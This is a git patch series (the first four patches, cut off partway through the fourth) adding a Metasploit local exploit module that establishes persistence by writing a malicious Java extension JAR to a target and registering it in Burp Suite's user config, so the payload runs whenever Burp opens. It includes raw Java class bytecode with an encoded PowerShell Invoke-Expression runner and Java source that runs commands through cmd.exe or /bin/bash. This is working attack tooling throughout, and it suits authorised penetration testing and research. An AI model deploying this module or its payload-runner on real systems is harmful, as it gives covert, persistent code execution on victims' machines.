From 773f2c4b8b59fb403a2c8d5339c22866969b8d6e Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 28 Dec 2024 15:31:27 -0500 Subject: [PATCH 01/23] burp extension persistence --- data/exploits/burp_extension/build.gradle | 24 +++ data/exploits/burp_extension/notes.txt | 6 + data/exploits/burp_extension/settings.gradle | 1 + .../multi/local/burp_extension_persistence.rb | 181 ++++++++++++++++++ 4 files changed, 212 insertions(+) create mode 100644 data/exploits/burp_extension/build.gradle create mode 100644 data/exploits/burp_extension/notes.txt create mode 100644 data/exploits/burp_extension/settings.gradle create mode 100644 modules/exploits/multi/local/burp_extension_persistence.rb diff --git a/data/exploits/burp_extension/build.gradle b/data/exploits/burp_extension/build.gradle new file mode 100644 index 0000000000000..3320407c052b8 --- /dev/null +++ b/data/exploits/burp_extension/build.gradle @@ -0,0 +1,24 @@ +apply plugin: 'java' + +repositories { + mavenCentral() +} + +dependencies { + // implementation 'net.portswigger.burp.extender:burp-extender-api:1.7.13' + implementation 'net.portswigger.burp.extender:burp-extender-api:2.3' +} + +sourceSets { + main { + java { + srcDir '.' + } + } +} + +task fatJar(type: Jar) { + baseName = project.name + '-all' + from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } } + with jar +} diff --git a/data/exploits/burp_extension/notes.txt b/data/exploits/burp_extension/notes.txt new file mode 100644 index 0000000000000..c936412a91821 --- /dev/null +++ b/data/exploits/burp_extension/notes.txt @@ -0,0 +1,6 @@ +Build: `gradle clean build` +Extension Location: build/libs/MetasploitPayloadExtension.jar +Updating payload in module: + 1. Run the build command inside of this folder (data/exploits/burp_extension) + 2. jar xf build/libs/MetasploitPayloadExtension.jar + 3. Use this command to print out the hex: python3 -c "with open('burp/BurpExtender.class', 'rb') as f: print(''.join([chr(b) if 32 <= b <= 126 else '\\\\x{:02x}'.format(b) for b in f.read()]))" diff --git a/data/exploits/burp_extension/settings.gradle b/data/exploits/burp_extension/settings.gradle new file mode 100644 index 0000000000000..7ffc5ae4429af --- /dev/null +++ b/data/exploits/burp_extension/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'MetasploitPayloadExtension' diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb new file mode 100644 index 0000000000000..3deebaa67766d --- /dev/null +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -0,0 +1,181 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Auxiliary::Report + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Burp Extension Persistence', + 'Description' => %q{ + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # Module + ], + 'DisclosureDate' => '2025-01-01', + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Privileged' => false, + 'References' => [ + [ 'URL', 'https://portswigger.net/burp/documentation/desktop/extensions/creating' ] + ], + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { + # 25hrs, you know, just in case the user doesn't open Burp for a while + 'WfsDelay' => 90_000, + 'PrependMigrate' => true + }, + 'Payload' => { + 'BadChars' => '";\\' + }, + 'Stance' => Msf::Exploit::Stance::Passive, + 'Targets' => [ + ['Linux', { 'Platform' => 'unix' } ], + ['Windows', { 'Platform' => 'windows' } ], + ], + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] + }, + 'DefaultTarget' => 0 + ) + ) + + register_options([ + OptString.new('NAME', [ false, 'Name of the extension', '' ]), + OptString.new('CONFIG', [ true, 'Config file location on target', '' ]), + OptString.new('WritableDir', [ true, 'A directory where we can write the extension', '' ]) + ]) + end + + def extension_name_generator + return datastore['NAME'] unless datastore['NAME'].blank? + + rand_text_alphanumeric(4..10) + end + + def check + file?(datastore['config']) ? CheckCode::Detected('Config file found') : CheckCode::Safe('Config file not found') + end + + # takes a number like 7 and makes it \x07. min_length will add \x00 padding if the value is short. + def int_to_slash_x_number(length, min_length = 0) + encoded = '' + while length > 0 + byte = length & 0xFF # Extract the least significant byte + encoded = "\\x#{byte.to_s(16).rjust(2, '0')}" + encoded # Prepend to the result + length >>= 8 # Shift right by 8 bits + end + + # Add padding if encoded length is less than min_length + encoded = '\\x00' + encoded while (encoded.scan(/\\x../).size < min_length) + + encoded + end + + def add_extension(settings_file, extension_location) + # open file + config_contents = read_file(settings_file) + # store as loot for backup purposes + path = store_loot('burp.config.json', 'application/json', session, config_contents, nil, nil) + print_good("Config file saved in: #{path}") + # read json + begin + config_contents = JSON.parse(config_contents) + rescue JSON::ParserError + fail_with(Failure::Unknown, "Failed to parse json config file: #{settings_file}") + end + malicious_extension = { + errors: 'ui', + extension_file: extension_location, + extension_type: 'java', + loaded: true, + name: datastore['NAME'], + output: 'ui' + } + config_contents['user_options']['extender']['extensions'] << malicious_extension + # write json + write_file(settings_file, JSON.pretty_generate(config_contents)) + end + + def extension(extension_name) + # somewhat arbitrary line breaks to make it easier to read + puts payload.encoded + # puts int_to_slash_x_number(extension_name.length, 2) + # puts extension_name.length + puts int_to_slash_x_number(payload.encoded.length, 2) + puts payload.encoded.length + + burp_extension_class = "\xca\xfe\xba\xbe\x00\x00\x008\x00\x81\x0a\x00\x02\x00\x03\x07\x00\x04\x0c\x00\x05\x00\x06\x01\x00\x10java/lang/Object\x01\x00\x06\x01\x00\x03()V\x08\x00\x08\x01" + burp_extension_class << int_to_slash_x_number(extension_name.length, 2) # extension name length + burp_extension_class << extension_name # extension name + burp_extension_class << "\x0b\x00\x0a\x00\x0b\x07\x00\x0c\x0c\x00\x0d\x00\x0e\x01\x00\x1bburp/IBurpExtenderCallbacks\x01\x00\x10setExtensionName\x01\x00\x15(Ljava/lang/String;)V\x08\x00\x10" + # smaller payloads (400ish in size) don't have this, larger payloads + # like 800 do. not sure why though + burp_extension_class << "\x01" + burp_extension_class << int_to_slash_x_number(payload.encoded.length, 2) # payload length, 2 bytes \xNN\xNN + burp_extension_class << payload.encoded # payload + burp_extension_class << "\x07\x00\x12\x01\x00\x13java/io/PrintWriter\x0b\x00\x0a\x00\x14\x0c\x00\x15\x00\x16\x01\x00\x09getStdout\x01\x00\x18()Ljava/io/OutputStream;\x0a\x00\x11\x00\x18\x0c\x00" + burp_extension_class << "\x05\x00\x19\x01\x00\x1a(Ljava/io/OutputStream;Z)V\x0b\x00\x0a\x00\x1b\x0c\x00\x1c\x00\x16\x01\x00\x09getStderr\x08\x00\x1e\x01\x00\x07os.name\x0a\x00 \x00!\x07\x00\"\x0c" + burp_extension_class << "\x00#\x00$\x01\x00\x10java/lang/System\x01\x00\x0bgetProperty\x01\x00&(Ljava/lang/String;)Ljava/lang/String;\x0a\x00&\x00'\x07\x00(\x0c\x00)\x00*\x01\x00\x10java/lang/String" + burp_extension_class << "\x01\x00\x0btoLowerCase\x01\x00\x14()Ljava/lang/String;\x08\x00,\x01\x00\x17Initializing extension.\x0a\x00\x11\x00.\x0c\x00/\x00\x0e\x01\x00\x07println\x08\x001\x01\x00" + burp_extension_class << "\x03win\x0a\x00&\x003\x0c\x004\x005\x01\x00\x08contains\x01\x00\x1b(Ljava/lang/CharSequence;)Z\x12\x00\x00\x007\x0c\x008\x00$\x01\x00\x17makeConcatWithConstants\x0a\x00:\x00" + burp_extension_class << ";\x07\x00<\x0c\x00=\x00>\x01\x00\x11java/lang/Runtime\x01\x00\x0agetRuntime\x01\x00\x15()Ljava/lang/Runtime;\x08\x00@\x01\x00\x07cmd.exe\x08\x00B\x01\x00\x02/c\x0a\x00:\x00" + burp_extension_class << "D\x0c\x00E\x00F\x01\x00\x04exec\x01\x00(([Ljava/lang/String;)Ljava/lang/Process;\x08\x00H\x01\x00\x09/bin/bash\x08\x00J\x01\x00\x02-c\x08\x00L\x01\x00" + burp_extension_class << " Finished initializing extension.\x07\x00N\x01\x00\x13java/lang/Exception\x0a\x00M\x00P\x0c\x00Q\x00*\x01\x00\x0agetMessage\x12\x00\x01\x007\x07\x00T\x01\x00" + burp_extension_class << "\x11burp/BurpExtender\x07\x00V\x01\x00\x12burp/IBurpExtender\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x12LocalVariableTable\x01\x00\x04this\x01\x00" + burp_extension_class << "\x13Lburp/BurpExtender;\x01\x00\x19registerExtenderCallbacks\x01\x00 (Lburp/IBurpExtenderCallbacks;)V\x01\x00\x0ewindowsCommand\x01\x00\x12Ljava/lang/String;\x01\x00" + burp_extension_class << "\x07process\x01\x00\x13Ljava/lang/Process;\x01\x00\x01e\x01\x00\x15Ljava/lang/Exception;\x01\x00\x09callbacks\x01\x00\x1dLburp/IBurpExtenderCallbacks;\x01\x00\x07command\x01\x00" + burp_extension_class << "\x06stdout\x01\x00\x15Ljava/io/PrintWriter;\x01\x00\x06stderr\x01\x00\x02os\x01\x00\x0dStackMapTable\x07\x00m\x01\x00\x11java/lang/Process\x01\x00\x0aSourceFile\x01\x00" + burp_extension_class << "\x11BurpExtender.java\x01\x00\x10BootstrapMethods\x08\x00r\x01\x00ipowershell.exe -Command \"\x01[Convert]::FromBase64String | ForEach-Object {$_ -join ''} | Invoke-Expression\"" + burp_extension_class << "\x08\x00t\x01\x00\x1aError loading extension: \x01\x0f\x06\x00v\x0a\x00w\x00x\x07\x00y\x0c\x008\x00z\x01\x00$java/lang/invoke/StringConcatFactory\x01" + burp_extension_class << "\x00\x98(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/invoke/CallSite;\x01" + burp_extension_class << "\x00\x0cInnerClasses\x07\x00}\x01\x00%java/lang/invoke/MethodHandles$Lookup\x07\x00\x7f\x01\x00\x1ejava/lang/invoke/MethodHandles\x01\x00\x06Lookup\x00!\x00S\x00\x02\x00\x01" + burp_extension_class << "\x00U\x00\x00\x00\x02\x00\x01\x00\x05\x00\x06\x00\x01\x00W\x00\x00\x00/\x00\x01\x00\x01\x00\x00\x00\x05*\xb7\x00\x01\xb1\x00\x00\x00\x02\x00X\x00\x00\x00\x06\x00\x01\x00\x00" + burp_extension_class << "\x00\x06\x00Y\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x05\x00Z\x00[\x00\x00\x00\x01\x00\\\x00]\x00\x01\x00W\x00\x00\x01\xab\x00\x05\x00\x08\x00\x00\x00\x9f+\x12\x07\xb9\x00\x09\x02" + burp_extension_class << "\x00\x12\x0fM\xbb\x00\x11Y+\xb9\x00\x13\x01\x00\x04\xb7\x00\x17N\xbb\x00\x11Y+\xb9\x00\x1a\x01\x00\x04\xb7\x00\x17:\x04\x12\x1d\xb8\x00\x1f\xb6\x00%:\x05-\x12+\xb6\x00-\x19\x05" + burp_extension_class << "\x120\xb6\x002\x99\x00),\xba\x006\x00\x00:\x07\xb8\x009\x06\xbd\x00&Y\x03\x12?SY\x04\x12ASY\x05\x19\x07S\xb6\x00C:\x06\xa7\x00\x1d\xb8\x009\x06\xbd\x00&Y\x03\x12GSY\x04\x12ISY" + burp_extension_class << "\x05,S\xb6\x00C:\x06-\x12K\xb6\x00-\xa7\x00\x14:\x07\x19\x04\x19\x07\xb6\x00O\xba\x00R\x00\x00\xb6\x00-\xb1\x00\x01\x004\x00\x8a\x00\x8d\x00M\x00\x03\x00X\x00\x00\x00B\x00\x10" + burp_extension_class << "\x00\x00\x00\x0b\x00\x08\x00\x0e\x00\x0b\x00\x11\x00\x1a\x00\x12\x00*\x00\x15\x004\x00\x19\x00:\x00\x1b\x00D\x00\x1d\x00L\x00!\x00g\x00\"\x00j\x00$\x00\x84\x00&\x00\x8a\x00)\x00" + burp_extension_class << "\x8d\x00'\x00\x8f\x00(\x00\x9e\x00*\x00Y\x00\x00\x00f\x00\x0a\x00L\x00\x1b\x00^\x00_\x00\x07\x00g\x00\x03\x00`\x00a\x00\x06\x00\x84\x00\x09\x00`\x00a\x00\x06\x00\x8f\x00\x0f\x00b" + burp_extension_class << "\x00c\x00\x07\x00\x00\x00\x9f\x00Z\x00[\x00\x00\x00\x00\x00\x9f\x00d\x00e\x00\x01\x00\x0b\x00\x94\x00f\x00_\x00\x02\x00\x1a\x00\x85\x00g\x00h\x00\x03\x00*\x00u\x00i\x00h\x00\x04" + burp_extension_class << "\x004\x00k\x00j\x00_\x00\x05\x00k\x00\x00\x00>\x00\x04\xff\x00j\x00\x06\x07\x00S\x07\x00\x0a\x07\x00&\x07\x00\x11\x07\x00\x11\x07\x00&\x00\x00\xfc\x00\x19\x07\x00l\xff\x00\x08" + burp_extension_class << "\x00\x06\x07\x00S\x07\x00\x0a\x07\x00&\x07\x00\x11\x07\x00\x11\x07\x00&\x00\x01\x07\x00M\x10\x00\x03\x00n\x00\x00\x00\x02\x00o\x00p\x00\x00\x00\x0e\x00\x02\x00u\x00\x01\x00q\x00u" + burp_extension_class << "\x00\x01\x00s\x00{\x00\x00\x00\x0a\x00\x01\x00|\x00~\x00\x80\x00\x19" + + jar = Rex::Zip::Jar.new + # build our manifest manually because its only one line and we don't need the extra + # lines that build_manifest adds. This more closely implements the gradle build command + # jar.build_manifest + jar.add_file('META-INF/', '') + jar.add_file('META-INF/MANIFEST.MF', "Manifest-Version: 1.0\r\n\r\n") + jar.add_file('burp/', '') + jar.add_file('burp/BurpExtender.class', burp_extension_class) + + jar + end + + def exploit + fail_with(Failure::NotFound, "Config file not found: #{datastore['config']}") unless file?(datastore['config']) + extension_name = extension_name_generator + print_status("Using extension name: #{extension_name}") + extension_location = "#{datastore['WritableDir']}/#{extension_name}.jar" + vprint_status("Writing malcious extension to disk: #{extension_location}") + write_file(extension_location, extension(extension_name)) + register_files_for_cleanup(extension_location) + vprint_status('Updating config file') + add_extension(datastore['CONFIG'], extension_location) + + print_good('extension enabled, waiting for Burp to open with the config.') + end +end From 349fd82327cf744377d8a40df32ba165d8218db5 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 29 Dec 2024 13:34:53 -0500 Subject: [PATCH 02/23] burp extension persistence --- .../multi/local/burp_extension_persistence.rb | 46 ++++++++++++++++--- 1 file changed, 40 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index 3deebaa67766d..21cbd713e8e3a 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -17,6 +17,10 @@ def initialize(info = {}) info, 'Name' => 'Burp Extension Persistence', 'Description' => %q{ + This module adds a malicious extension to the Burp Suite configuration file. When burp is opened, + the extension will be loaded and the payload will be executed. + + Tested against Burp Suite ???? }, 'License' => MSF_LICENSE, 'Author' => [ @@ -108,7 +112,39 @@ def add_extension(settings_file, extension_location) write_file(settings_file, JSON.pretty_generate(config_contents)) end - def extension(extension_name) + def run_local_gradle_build + # Check if gradle is installed + fails_with(Failure::NotFound, 'Gradle is not installed on this system (not target).') unless system('which gradle > /dev/null 2>&1') + + # Define source and destination directories + src_dir = File.join(Msf::Config.data_directory, 'exploits', 'burp_extension') + temp_dir = Dir.mktmpdir + + # Copy necessary files to the temporary directory + FileUtils.cp_r(File.join(src_dir, 'src'), temp_dir) + FileUtils.cp(File.join(src_dir, 'settings.gradle'), temp_dir) + FileUtils.cp(File.join(src_dir, 'build.gradle'), temp_dir) + + # Modify burpExtension.java + java_file = File.join(temp_dir, 'src', 'burpExtension.java') + text = File.read(java_file) + new_contents = text.gsub('FOOBARBAZ', payload.encoded) + .gsub('Metasploit Payload Extension', datastore['NAME']) + File.open(java_file, 'w') { |file| file.puts new_contents } + + # Run gradle clean build + Dir.chdir(temp_dir) do + system('gradle clean build') + end + + # Check if the jar file was created + jar_file = File.join(temp_dir, 'build', 'libs', 'MetasploitPayloadExtension.jar') + fails_with('Failed to create MetasploitPayloadExtension.jar') unless File.exist?(jar_file) + + File.read(jar_file) + end + + def compiled_extension(extension_name) # somewhat arbitrary line breaks to make it easier to read puts payload.encoded # puts int_to_slash_x_number(extension_name.length, 2) @@ -120,8 +156,7 @@ def extension(extension_name) burp_extension_class << int_to_slash_x_number(extension_name.length, 2) # extension name length burp_extension_class << extension_name # extension name burp_extension_class << "\x0b\x00\x0a\x00\x0b\x07\x00\x0c\x0c\x00\x0d\x00\x0e\x01\x00\x1bburp/IBurpExtenderCallbacks\x01\x00\x10setExtensionName\x01\x00\x15(Ljava/lang/String;)V\x08\x00\x10" - # smaller payloads (400ish in size) don't have this, larger payloads - # like 800 do. not sure why though + # smaller payloads (400ish in size) don't have this byte, larger payloads like 800 do. not sure why though burp_extension_class << "\x01" burp_extension_class << int_to_slash_x_number(payload.encoded.length, 2) # payload length, 2 bytes \xNN\xNN burp_extension_class << payload.encoded # payload @@ -156,7 +191,6 @@ def extension(extension_name) jar = Rex::Zip::Jar.new # build our manifest manually because its only one line and we don't need the extra # lines that build_manifest adds. This more closely implements the gradle build command - # jar.build_manifest jar.add_file('META-INF/', '') jar.add_file('META-INF/MANIFEST.MF', "Manifest-Version: 1.0\r\n\r\n") jar.add_file('burp/', '') @@ -171,11 +205,11 @@ def exploit print_status("Using extension name: #{extension_name}") extension_location = "#{datastore['WritableDir']}/#{extension_name}.jar" vprint_status("Writing malcious extension to disk: #{extension_location}") - write_file(extension_location, extension(extension_name)) + write_file(extension_location, compiled_extension(extension_name)) register_files_for_cleanup(extension_location) vprint_status('Updating config file') add_extension(datastore['CONFIG'], extension_location) - print_good('extension enabled, waiting for Burp to open with the config.') + print_good('Extension enabled, waiting for Burp to open with the config.') end end From 24d1b43d2e8a9291d9c8b0849eff2d08bf0e253d Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 30 Dec 2024 20:18:51 -0500 Subject: [PATCH 03/23] more trial and error --- .../multi/local/burp_extension_persistence.rb | 43 ++++++++++++------- 1 file changed, 27 insertions(+), 16 deletions(-) diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index 21cbd713e8e3a..c6928f1f2dc58 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -30,7 +30,8 @@ def initialize(info = {}) 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => false, 'References' => [ - [ 'URL', 'https://portswigger.net/burp/documentation/desktop/extensions/creating' ] + [ 'URL', 'https://portswigger.net/burp/documentation/desktop/extensions/creating' ], + [ 'URL', 'https://portswigger.net/burp/documentation/desktop/troubleshooting/launch-from-command-line' ] ], 'Arch' => [ARCH_CMD], 'DefaultOptions' => { @@ -87,7 +88,7 @@ def int_to_slash_x_number(length, min_length = 0) encoded end - def add_extension(settings_file, extension_location) + def add_extension(settings_file, extension_location, extension_name) # open file config_contents = read_file(settings_file) # store as loot for backup purposes @@ -100,19 +101,23 @@ def add_extension(settings_file, extension_location) fail_with(Failure::Unknown, "Failed to parse json config file: #{settings_file}") end malicious_extension = { - errors: 'ui', - extension_file: extension_location, - extension_type: 'java', - loaded: true, - name: datastore['NAME'], - output: 'ui' + 'errors' => 'ui', + 'extension_file' => extension_location, + 'extension_type' => 'java', + 'loaded' => true, + 'name' => extension_name, + 'output' => 'ui' } - config_contents['user_options']['extender']['extensions'] << malicious_extension + begin + config_contents['user_options']['extender']['extensions'] << malicious_extension + rescue NoMethodError + fail_with(Failure::Unknown, "Failed to find 'user_options' in config file: #{settings_file}, likely a project settings file not user.") + end # write json - write_file(settings_file, JSON.pretty_generate(config_contents)) + write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 })) end - def run_local_gradle_build + def run_local_gradle_build(extension_name) # Check if gradle is installed fails_with(Failure::NotFound, 'Gradle is not installed on this system (not target).') unless system('which gradle > /dev/null 2>&1') @@ -126,10 +131,10 @@ def run_local_gradle_build FileUtils.cp(File.join(src_dir, 'build.gradle'), temp_dir) # Modify burpExtension.java - java_file = File.join(temp_dir, 'src', 'burpExtension.java') + java_file = File.join(temp_dir, 'src', 'main', 'java', 'BurpExtender.java') text = File.read(java_file) new_contents = text.gsub('FOOBARBAZ', payload.encoded) - .gsub('Metasploit Payload Extension', datastore['NAME']) + .gsub('Metasploit Payload Extension', extension_name) File.open(java_file, 'w') { |file| file.puts new_contents } # Run gradle clean build @@ -204,12 +209,18 @@ def exploit extension_name = extension_name_generator print_status("Using extension name: #{extension_name}") extension_location = "#{datastore['WritableDir']}/#{extension_name}.jar" + vprint_status('Compiling JAR file') + jar = run_local_gradle_build(extension_name) vprint_status("Writing malcious extension to disk: #{extension_location}") - write_file(extension_location, compiled_extension(extension_name)) - register_files_for_cleanup(extension_location) + + write_file(extension_location, jar) + # write_file(extension_location, compiled_extension(extension_name)) vprint_status('Updating config file') - add_extension(datastore['CONFIG'], extension_location) + add_extension(datastore['CONFIG'], extension_location, extension_name) print_good('Extension enabled, waiting for Burp to open with the config.') + + # config files must be applied, and on boot doesn't seem to work + # /usr/lib/jvm/java-23-openjdk-amd64/bin/java -jar -Xmx4g -Djava.awt.headless=true /usr/share/burpsuite/burpsuite.jar burp.StartBurp --user-config-file=/tmp/burp.json & end end From 8752110581d270a4cecab92257f0aa8d44fb9a70 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 1 Jan 2025 11:44:11 -0500 Subject: [PATCH 04/23] non-compile working just needs testing --- data/exploits/burp_extension/build.gradle | 5 +- data/exploits/burp_extension/notes.txt | 1 + .../src/main/java/BurpExtender.java | 50 ++++++ .../src/main/resources/command.txt | 1 + .../src/main/resources/name.txt | 1 + .../multi/local/burp_extension_persistence.rb | 151 ++++++++++-------- 6 files changed, 140 insertions(+), 69 deletions(-) create mode 100644 data/exploits/burp_extension/src/main/java/BurpExtender.java create mode 100644 data/exploits/burp_extension/src/main/resources/command.txt create mode 100644 data/exploits/burp_extension/src/main/resources/name.txt diff --git a/data/exploits/burp_extension/build.gradle b/data/exploits/burp_extension/build.gradle index 3320407c052b8..0b98b141c1740 100644 --- a/data/exploits/burp_extension/build.gradle +++ b/data/exploits/burp_extension/build.gradle @@ -12,7 +12,10 @@ dependencies { sourceSets { main { java { - srcDir '.' + srcDir 'src/main/java' + } + resources { + srcDir 'src/main/resources' } } } diff --git a/data/exploits/burp_extension/notes.txt b/data/exploits/burp_extension/notes.txt index c936412a91821..1b5b9497a2010 100644 --- a/data/exploits/burp_extension/notes.txt +++ b/data/exploits/burp_extension/notes.txt @@ -4,3 +4,4 @@ Updating payload in module: 1. Run the build command inside of this folder (data/exploits/burp_extension) 2. jar xf build/libs/MetasploitPayloadExtension.jar 3. Use this command to print out the hex: python3 -c "with open('burp/BurpExtender.class', 'rb') as f: print(''.join([chr(b) if 32 <= b <= 126 else '\\\\x{:02x}'.format(b) for b in f.read()]))" + 4. You'll still need to escape \ and " characters. diff --git a/data/exploits/burp_extension/src/main/java/BurpExtender.java b/data/exploits/burp_extension/src/main/java/BurpExtender.java new file mode 100644 index 0000000000000..798d52cf3ad28 --- /dev/null +++ b/data/exploits/burp_extension/src/main/java/BurpExtender.java @@ -0,0 +1,50 @@ +// from https://github.com/PortSwigger/example-hello-world/blob/master/java/BurpExtender.java +package burp; + +import java.io.PrintWriter; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.util.Scanner; + +public class BurpExtender implements IBurpExtender { + @Override + public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { + // Read extension name from resource file and set it + InputStream nameInputStream = getClass().getClassLoader().getResourceAsStream("name.txt"); + Scanner nameScanner = new Scanner(nameInputStream, StandardCharsets.UTF_8.name()); + String extensionName = nameScanner.useDelimiter("\\A").next().trim(); + callbacks.setExtensionName(extensionName); + + // Read command from resource file + InputStream commandInputStream = getClass().getClassLoader().getResourceAsStream("command.txt"); + Scanner commandScanner = new Scanner(commandInputStream, StandardCharsets.UTF_8.name()); + String command = commandScanner.useDelimiter("\\A").next().trim(); + + // obtain our output and error streams + PrintWriter stdout = new PrintWriter(callbacks.getStdout(), true); + PrintWriter stderr = new PrintWriter(callbacks.getStderr(), true); + + // Detect operating system + String os = System.getProperty("os.name").toLowerCase(); + Process process; + + try { + stdout.println("Initializing extension."); + + if (os.contains("win")) { + // Windows: Use cmd.exe or PowerShell + String windowsCommand = "powershell.exe -Command \"" + + command + + "[Convert]::FromBase64String | ForEach-Object {$_ -join ''} | Invoke-Expression\""; + + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", windowsCommand}); + } else { + // Unix-based systems: Use /bin/bash + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", command}); + } + stdout.println("Finished initializing extension."); + } catch (Exception e) { + stderr.println("Error loading extension: " + e.getMessage()); + } + } +} diff --git a/data/exploits/burp_extension/src/main/resources/command.txt b/data/exploits/burp_extension/src/main/resources/command.txt new file mode 100644 index 0000000000000..dd2b0d61edafd --- /dev/null +++ b/data/exploits/burp_extension/src/main/resources/command.txt @@ -0,0 +1 @@ +FOOBARBAZ \ No newline at end of file diff --git a/data/exploits/burp_extension/src/main/resources/name.txt b/data/exploits/burp_extension/src/main/resources/name.txt new file mode 100644 index 0000000000000..51aafaf4720f0 --- /dev/null +++ b/data/exploits/burp_extension/src/main/resources/name.txt @@ -0,0 +1 @@ +Metasploit Payload Extension \ No newline at end of file diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index c6928f1f2dc58..ceb79f2ef2bd7 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -17,10 +17,10 @@ def initialize(info = {}) info, 'Name' => 'Burp Extension Persistence', 'Description' => %q{ - This module adds a malicious extension to the Burp Suite configuration file. When burp is opened, - the extension will be loaded and the payload will be executed. + This module adds a java based malicious extension to the Burp Suite configuration file. + When burp is opened, the extension will be loaded and the payload will be executed. - Tested against Burp Suite ???? + Tested against Burp Suite Community Edition v2024.9.4 on Kali }, 'License' => MSF_LICENSE, 'Author' => [ @@ -47,6 +47,11 @@ def initialize(info = {}) ['Linux', { 'Platform' => 'unix' } ], ['Windows', { 'Platform' => 'windows' } ], ], + 'Actions' => [ + ['precompiled', { 'Description' => 'Utilized pre-compiled bytecode' }], + ['build', { 'Description' => 'Build the extension locally with Gradle' }] + ], + 'DefaultAction' => 'precompiled', 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], @@ -61,6 +66,9 @@ def initialize(info = {}) OptString.new('CONFIG', [ true, 'Config file location on target', '' ]), OptString.new('WritableDir', [ true, 'A directory where we can write the extension', '' ]) ]) + register_advanced_options([ + OptString.new('GRADLE', [ false, 'Gradle executable', '/usr/bin/gradle' ]), + ]) end def extension_name_generator @@ -70,22 +78,17 @@ def extension_name_generator end def check - file?(datastore['config']) ? CheckCode::Detected('Config file found') : CheckCode::Safe('Config file not found') - end - - # takes a number like 7 and makes it \x07. min_length will add \x00 padding if the value is short. - def int_to_slash_x_number(length, min_length = 0) - encoded = '' - while length > 0 - byte = length & 0xFF # Extract the least significant byte - encoded = "\\x#{byte.to_s(16).rjust(2, '0')}" + encoded # Prepend to the result - length >>= 8 # Shift right by 8 bits + if action.name == 'build' && File.exist?(datastore['GRADLE']) + vprint_good('Gradle found') + else + CheckCode::Safe('Gradle is required on THE METASPLOIT computer, please install.') end - # Add padding if encoded length is less than min_length - encoded = '\\x00' + encoded while (encoded.scan(/\\x../).size < min_length) + if file?(datastore['config']) + return CheckCode::Detected("Config file found: #{datastore['config']}") + end - encoded + CheckCode::Safe("Config file not found: #{datastore['config']}") end def add_extension(settings_file, extension_location, extension_name) @@ -119,7 +122,7 @@ def add_extension(settings_file, extension_location, extension_name) def run_local_gradle_build(extension_name) # Check if gradle is installed - fails_with(Failure::NotFound, 'Gradle is not installed on this system (not target).') unless system('which gradle > /dev/null 2>&1') + fails_with(Failure::NotFound, 'Gradle is not installed on this system (not target).') unless File.exist?(datastore['GRADLE']) # Define source and destination directories src_dir = File.join(Msf::Config.data_directory, 'exploits', 'burp_extension') @@ -130,16 +133,18 @@ def run_local_gradle_build(extension_name) FileUtils.cp(File.join(src_dir, 'settings.gradle'), temp_dir) FileUtils.cp(File.join(src_dir, 'build.gradle'), temp_dir) - # Modify burpExtension.java - java_file = File.join(temp_dir, 'src', 'main', 'java', 'BurpExtender.java') - text = File.read(java_file) - new_contents = text.gsub('FOOBARBAZ', payload.encoded) - .gsub('Metasploit Payload Extension', extension_name) - File.open(java_file, 'w') { |file| file.puts new_contents } + # Modify name.txt with the new extension name + java_file = File.join(temp_dir, 'src', 'main', 'resources', 'name.txt') + File.open(java_file, 'wb') { |file| file.puts extension_name } + + # Modify command.txt where we put our payload command + java_file = File.join(temp_dir, 'src', 'main', 'resources', 'command.txt') + File.open(java_file, 'wb') { |file| file.puts payload.encoded } # Run gradle clean build + vprint_status('Building Burp extension jar file') Dir.chdir(temp_dir) do - system('gradle clean build') + system("#{datastore['GRADLE']} clean build") end # Check if the jar file was created @@ -150,48 +155,49 @@ def run_local_gradle_build(extension_name) end def compiled_extension(extension_name) - # somewhat arbitrary line breaks to make it easier to read - puts payload.encoded - # puts int_to_slash_x_number(extension_name.length, 2) - # puts extension_name.length - puts int_to_slash_x_number(payload.encoded.length, 2) - puts payload.encoded.length - - burp_extension_class = 